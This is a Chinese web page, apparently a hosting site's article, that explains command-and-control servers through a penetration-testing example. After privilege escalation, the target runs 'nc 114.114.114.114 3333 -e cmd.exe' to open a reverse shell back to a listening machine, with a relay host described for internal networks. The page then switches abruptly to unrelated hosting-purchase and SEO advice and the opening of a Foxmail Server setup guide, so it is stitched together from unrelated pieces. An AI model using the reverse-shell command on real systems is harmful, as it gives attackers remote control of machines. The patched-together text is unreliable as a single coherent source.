什么是C&C服务器

什么是C&C服务器,第1张

C&C 服务器的全称是 Command and Control Server,翻译过来就是命令和控制服务器

通常在做渗透测试的时候,在拿到一个 webshell 的时候,需要对服务器进行提权操作,如果是一台 windows 的服务器,提权的时候通常是利用本地提权漏洞的 exp 进行溢出提权,有些 exp 可以直接在后面加参数,溢出成功之后执行参数中的命令。

而有的 exp 溢出成功之后是返回一个 system 权限的 cmd,这时就需要将低权限的 cmd shell 反弹回本地,这里用 nc 在本地执行:nc -vv -lp 3333

上述命令的意思是在本地监听一个 3333 端口等待连接,假设电脑 IP 是公网的,并且 IP 为 114.114.114.114,然后在目标服务器就可以执行:nc 114.114.114.114 3333 -e cmd.exe

上面的命令就可以把远程服务器的服务器权限的 cmd shell 返回到本地,这时你就可以通过 nc 建立的这个 shell 进行通信,发送你要执行的命令,在远程服务器接收到命令之后执行并将结果返回,这时本机电脑就是一个简易的 C&C 服务器。

扩展资料

C&C 服务器使目标机器可以接收来自服务器的命令,从而达到服务器控制目标机器的目的。该方法常用于病毒木马控制被感染的机器。

通常只有这样内网的服务器才可以访问进行连接,所以可以使用一台中转服务器,这台中转服务器有一个公网 IP 地址是:111.111.111.111,这样不管是目标服务器还是我们本机都可以访问这台中转服务器。

这里中转服务器的作用就是本地内网的主机监听的端口映射到公网 IP 的某个端口,这样目标机访问中转服务器监听的端口就相当于访问了我们本地监听的端口。

很多新手在建站初期,纠结网站是买服务器还是买空间,其实个人觉得没太大必要。

哪个用的顺手用哪个,当然如果要说优势的话,选择服务器更合适。

一、服务器和空间的区别

不管是哪个建站教程,基本都会讲到建站三要素,域名、服务器(空间)、程序。

它们两者的区别在于,服务器包含了空间,就像一栋大楼是个服务器,大楼里面的一个个房间就是空间。

因此,一个服务器,可以分割出多个空间。

服务器

服务器:简单的说就是你的电脑主机,你买电脑需要安装系统才能正常使用。服务器也是一样的,你买了服务器之后需要自己搭建网站环境,自己做好跟程序相应的配置才能使用。

服务器自由度比虚拟空间更高,但是对于新手来说,学习搭建网站就又多了一步,需要学习怎么搭建网站环境。

从价格上来说,服务器空间比虚拟空间更大,价格也更高,你可以想象一下买一台电脑和买一块硬盘的区别。

虚拟空间

虚拟空间:就是一台电脑主机,装好了系统,然后把硬盘分成了C、D、F盘,那虚拟空间就是C、D、F盘中的一个,不需要你再次安装系统搭建环境,买了之后直接使用就行了,简单方便。

虚拟空间因为是已经搭建好的环境,所以自由度相比服务器低一些,但是几乎的网站程序虚拟空间都可以使用,所以自由度对于虚拟空间也就可有可无了。

虚拟空间的价格很低,我觉得能和服务器相差一半的价格。

空间的优势,即使用方便,操作便捷。

它的缺点,服务器基本都会有填补:

1.从理论来说,服务器可以解析无数个子域名空间只有部分功能强大的才会有该功能,而且支持数量有限。

2.服务器的安全性能做的比空间强大很多,很多做黑帽seo的想要寻找网站漏洞,破解空间是非常容易的。

3.总体价格上,会比空间还便宜,除了个别价格特低的香港或海外空间。

二、如何选择一个利于优化的空间

1、选择名气大质量和服务有保证的空间商购买,建议:万网,华夏名网,西部数码,新网,DNSpod,新网互联,易中中国,35互联。千万不要找不知名的代理商或者去淘宝购买。小型网站像企业站或者简单的展示站点,200-300M空间中型或者是社区论坛类的网站要选择大一点的比如1G的空间。有经济实力的建议买云主机。

2、空间要有基本的SEO服务,包括:网站文件gip压缩,日志下载,301重定向,404错误页管理,数据库管理,数据库备份还原,网页文件备份还原,网页文件压缩解压,支持伪静态,域名管理等。

3、网站空间稳定性要好:在搜索引擎上搜索的网页都是爬虫到空间进行采集,筛选,收录之后我们才能看到的,如果网站时不时就连接不了,那么搜索引擎就会对你的网站持有不好的印象,对用户来说也是同样。

4、网站速度要快:网站的速度要保证在3秒内,用户体验才会好,你可以翻翻在行业做得好的网站,打开速度甚至卡在1秒内。网站的速度一般和空间所在地有关(空间离用户群越近速度越快)、空间宽带大小有关(宽带越大支持同时上线人数越多)、空间类型有关(云主机比虚拟主机快)、空间线路有关(用户集中在东南部地区选择电信,用户集中在西北方地区选择联通,双线价格贵一点)。

三、国内外主机对比

国内主机:速度快、稳定性好、中文界面、方便联系、不被屏蔽、易于被百度蜘蛛搜索到必须备案、价格比较贵、服务态度一般。

国外主机:通常为美国空间跟香港空间、空间大(一般达到50G)、 高配置 、高带宽 、客服态度相当好、 大流量 、最主要是价格低 、免备案

、安全性高访问速度奇慢ping一下230ms差不多,百度收录及更新不太友好(蜘蛛要绕半个地球去抓取,会很少去)权重性不好!做外贸的建议买国外主机。

结语:选择名气大的空间商买、速度快的、稳定性好的、SEO基础服务俱全的、相对实惠的!

Foxmail Server(以下简称FMS)可以搭建出功能强大的邮件服务器。本文以FMS For Windows 2.0为例,从其设置、管理、收发邮件等几方面入手为大家简单介绍该软件的使用方法及注意事项。 ★安装和设置邮件服务器

FMS2.0要求操作系统Windows NT4.0(Service Pack4以上)和IIS5.0及以上版本的支持才能实现全部功能,并且还应以Administrator身份登录计算机。我们的讨论则是基于Windows Server 2000+IIS5.0的试验环境。FMS的安装过程比较简单,这里不再赘述,我们重点谈谈它的设置过程。

一、设置域名和管理员口令

程序安装完毕后,自动进入设置向导。单击“下一步”按钮,即可进入“应用程序设置”窗口。在这里我们可以设置用户信箱的域名(即用户E-mail地址中@字符的后缀部分)和管理员口令。您可以向域名管理机构申请合法的域名。但是如果通信范围仅限于局域网内部,也可以通过内部的DNS服务器建立一个邮件服务器专用的域名。为叙述方便,我们使用了本机的机器名作为域名(在命令行窗口中键入“hostname”命令就能得到本机的机器名),本例中的机器名为CHHUIAN。然后设置系统管理员口令和邮箱密码以及域管理员口令和邮箱密码,以后在管理系统和域时会用到两个管理员口令(图1)。


欢迎分享,转载请注明来源:夏雨云

原文地址:https://www.xiayuyun.com/zonghe/280744.html

(0)
打赏 微信扫一扫微信扫一扫 支付宝扫一扫支付宝扫一扫
上一篇 2023-04-21
下一篇2023-04-21

发表评论

登录后才能评论

评论列表(0条)

    保存